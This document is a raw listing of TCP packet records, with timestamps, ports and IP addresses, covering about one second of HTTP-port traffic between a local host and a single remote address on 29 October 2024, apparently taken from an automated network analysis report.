Oct 29, 2024 02:46:12.615942955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.615957022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.615967035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616005898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616220951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616254091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616271973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616288900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616302013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616322994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616334915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616369009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616691113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616724968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616741896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616758108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.616771936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.616806984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.658596039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.658627033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.658641100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.658663034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.658698082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.658855915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.658876896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.658891916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.658904076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.658931971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.658932924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.658991098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.659018040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.659033060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.659050941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.659085989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.659086943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.701165915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.701220989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.701239109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.701253891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.701271057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.701303005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732201099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732280970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732408047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732485056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732517004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732537985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732551098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732584953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732614994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732620001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732639074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732652903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732657909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732686996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732701063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732719898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732741117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732753992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.732762098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.732809067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733069897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733123064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733124971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733170033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733172894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733206987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733230114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733239889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733266115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733266115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733274937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733290911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733316898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733900070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733932972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733956099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.733968019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.733975887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.734016895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.776073933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776115894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776133060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776148081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776161909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776168108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.776177883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776192904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776209116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.776210070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.776232958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.776251078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.818734884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.818762064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.818778038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.818794012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.818811893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.818850994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.818891048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849618912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849674940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849710941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849711895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849734068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849746943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849754095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849783897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849800110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849838972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849860907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849916935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.849924088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849967957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.849971056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850007057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850023985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850039959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850063086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850075006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850087881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850131989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850616932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850651979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850673914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850707054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850723982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850739956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850763083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850779057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.850785971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.850826025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.851202965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.851254940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.851264000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.851308107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893151045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893240929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893292904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893327951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893362045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893395901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893428087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893430948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893465042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893474102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893492937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893497944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893515110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893543005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893834114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893870115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893894911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893904924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.893913031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.893959999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.935695887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.935780048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.935797930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.935832024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.935856104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.935867071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.935879946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.935904026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.935918093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.936007023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.966598034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966614008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966622114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966635942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966644049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966691971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.966722965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.966731071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966768026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966809034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.966833115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.966952085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966975927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.966991901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967006922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967006922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967024088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967026949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967056036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967056036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967087030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967516899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967534065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967549086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967564106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967570066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967606068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967606068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.967967987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967983961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.967998981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:12.968025923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:12.968054056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.008774042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.008852005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.008908033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.008930922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010287046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010339022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010346889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010371923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010390043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010407925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010425091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010442972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010457993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010495901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010540962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010572910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010596037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010607958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010618925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010658979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010763884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010854959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010859966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010889053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.010909081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.010946989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.052789927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.052889109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.052932024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.052947044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.052953005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.052984953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.052998066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.053020000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.053040028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.053056002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.053075075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.053107977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091626883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091711044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091727018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091748953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091769934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091784000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091808081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091820002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091850042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091856003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091867924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091892004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.091901064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091941118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.091972113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092006922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092020035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092041969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092056990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092084885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092148066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092181921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092195988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092216969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092230082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092251062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092262983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092299938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092881918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092916965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092940092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092952967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.092957973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.092999935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127576113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127698898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127710104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127744913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127777100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127779007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127794981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127813101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127842903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127846956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127868891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127881050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127887011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127914906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127931118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127949953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.127968073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.127986908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.128318071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.128353119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.128371954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.128387928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.128398895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.128439903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.128499031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.128547907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.128563881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.128592968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.169851065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.169917107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.169931889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.169955015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.169970036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.169985056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.169984102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.170020103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.170066118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.208769083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.208823919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.208858013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.208859921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.208890915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.208888054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.208906889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.208926916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.208935976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.208961964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.208972931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209012985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209049940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209081888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209104061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209134102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209134102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209167957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209181070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209214926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209516048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209563017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209566116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209599972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209614992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209633112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209649086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209666967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209681034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209717035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:13.209721088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.209765911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:13.210254908 CET	80	49704	185.215.113.206	192.168.2.5
